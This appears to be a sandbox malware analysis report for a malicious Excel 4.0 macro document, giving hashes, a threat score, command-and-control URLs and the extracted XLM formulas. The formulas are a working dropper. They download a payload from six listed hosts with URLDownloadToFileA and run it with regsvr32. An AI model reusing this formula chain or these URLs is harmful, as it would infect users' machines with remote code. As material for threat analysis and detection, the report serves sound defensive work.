7986f52e6ff02136626d71a0f2f35fa79583ac7b29520de7135e67a4869b6aee

General

Target

7986f52e6ff02136626d71a0f2f35fa79583ac7b29520de7135e67a4869b6aee
Size

46KB
Sample

241120-lvyn6awaqk
MD5

4e70d85d7675d31eecbead2779c2e4ec
SHA1

a9dd9dfa37edd9920d962620b7cde85754fd8c4e
SHA256

7986f52e6ff02136626d71a0f2f35fa79583ac7b29520de7135e67a4869b6aee
SHA512

4309bc2acc4d4cb89cb9a6335e6523d07b49aa1d9aa3a52b34306b864686d40ce02ff7cd4c76e69c531a624de1e978c33fbde6cde31cd875b78b44b15a3e2109
SSDEEP

768:QOo2ODOevZCwrvtzyzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfpDDG:QOo1D+tT5fTR4Lh1NisFYBc3cr+UqVfo

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://gokcevizyon.com/sBaEb/

http://henrysfreshroast.com/fxNufTnf3ox/

http://sorathlions.com/tmp/z5mkAKCYsVW70w/

http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/

https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/

https://ewestern.com/k/vEQX/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gokcevizyon.com/sBaEb/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/fxNufTnf3ox/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/z5mkAKCYsVW70w/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/TkqG7pcYizOAj/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cricketaddictorsassociation.com/zuug/UH8fBAITr4N/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ewestern.com/k/vEQX/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://gokcevizyon.com/sBaEb/

xlm40.dropper

http://henrysfreshroast.com/fxNufTnf3ox/